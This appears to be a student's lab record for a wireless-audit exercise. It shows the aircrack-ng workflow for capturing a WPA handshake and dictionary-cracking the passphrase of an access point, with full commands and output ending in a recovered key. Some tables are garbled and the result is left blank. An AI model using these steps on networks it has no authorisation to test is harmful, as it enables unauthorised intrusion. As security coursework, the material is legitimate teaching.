

**Ex. No.: 9**

**Date:**

## **WIRELESS AUDIT**

**Aim:**

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kali linux OS.

**Algorithm:**

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

**Output:**

```
root@kali:~# iwconfig
```

```
eth0    no wireless extensions.
```

```
wlan0   IEEE 802.11bgn ESSID:off/any
```

```
Mode:Managed Access Point: Not-Associated Tx-  
Power=20 dBm Retry short limit:7 RTS thr:off Fragment  
thr:off  
Encryption  
key:off Power  
Management:off
```

```
lo      no wireless extensions.
```

```
root@kali:~# iwlist wlan0 scanning
```

```
wlan0   Scan completed :
```

```
Cell 01 - Address: 14:F6:5A:F4:57:22
```

```
Channel:6
```

Frequency:2.437 GHz  
(Channel 6) Quality=70/70  
Signal level=-27 dBm  
Encryption key:on  
**ESSID:"BENEDICT"**  
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s  
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s  
36 Mb/s; 48 Mb/s; 54 Mb/s  
**Mode:Master**  
Extra:tsf=00000000425  
b0a37 Extra: Last  
beacon: 548ms ago IE:  
WPA Version 1  
Group Cipher : TKIP  
Pairwise Ciphers (2) :  
CCMP TKIP Authentication  
Suites (1) : PSK

**root@kali:~# airmon-ng start wlan0**

Found 2 processes that could cause trouble.  
If airodump-ng, aireplay-ng or airtun-ng stops  
working after a short period of time, you may want  
to kill (some of) them!

PID Name  
1148 NetworkManager  
1324 wpa\_supplicant

| PHY  | Interface | Driver    | Chipset                                     |
|------|-----------|-----------|---|
| phy0 | wlan0     | ath9k_htc | Atheros Communications, Inc. AR9271 802.11n |

Newly created monitor mode interface wlan0mon is \*NOT\* in  
monitor mode. Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

**root@kali:~# airmon-ng check kill**

Killing these processes:

PID Name  
1324 wpa\_supplicant

**root@kali:~# airmon-ng start wlan0**

Reg no: 210701092      Name: Jeffrey Jesudasan R

| PHY  | Interface | Driver    | Chipset                                     |
|------|-----------|-----------|---|
| phy0 | wlan0     | ath9k_htc | Atheros Communications, Inc. AR9271 802.11n |

(mac80211 **monitor mode** vif enabled for [phy0]wlan0 on  
[phy0]**wlan0mon**) (mac80211 station mode vif disabled for  
[phy0]wlan0)

**root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22**

**wlan0mon CH 6** ][ Elapsed: 5 mins ][ 2016-10-05 01:35 ][ **WPA**

**handshake: 14:F6:5A:F4:57:**

| BSSID | PWR | RXQ | Beacons | #Data, #/s | CH | MB | ENC | CIPHER |
|-------|-----|-----|---------|------------|----|----|-----|--------|
|-------|-----|-----|---------|------------|----|----|-----|--------|

|                          |  |  |     |     |      |       |   |   |
|--------------------------|--|--|-----|-----|------|-------|---|---|
| AUTH E 14:F6:5A:F4:57:22 |  |  | -31 | 100 | 3104 | 10036 | 0 | 6 |
|--------------------------|--|--|-----|-----|------|-------|---|---|

54e. WPA CCMP PSK B

| BSSID | STATION | PWR | Rate | Lost |
|-------|---------|-----|------|------|
|-------|---------|-----|------|------|

Frames Probe 14:F6:5A:F4:57:22

|                   |     |     |   |   |
|-------------------|-----|-----|---|---|
| 70:05:14:A3:7E:3E | -32 | 2e- | 0 | 0 |
|-------------------|-----|-----|---|---|

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**root@kali:~# ls -l**

total 10348

-rw-r--r-- 1 root root 10580359 Oct 5 01:35 **atheros-01.cap**

-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv

-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv

-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml

**root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt**

[00:00:52] 84564 keys tested (1648.11 k/s)

**KEY FOUND! [ rec12345 ]**

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14  
77 49 A9 7AA0 2D 9F BB 2B C3 8D 26 D2 33  
54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53  
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF

Reg no: 210701092

Name: Jeffrey Jesudasan R

81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE  
FE 05 F6 53 B8 CA A0 70 EC 02 1B EA 5F 7A  
DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

**Result:**

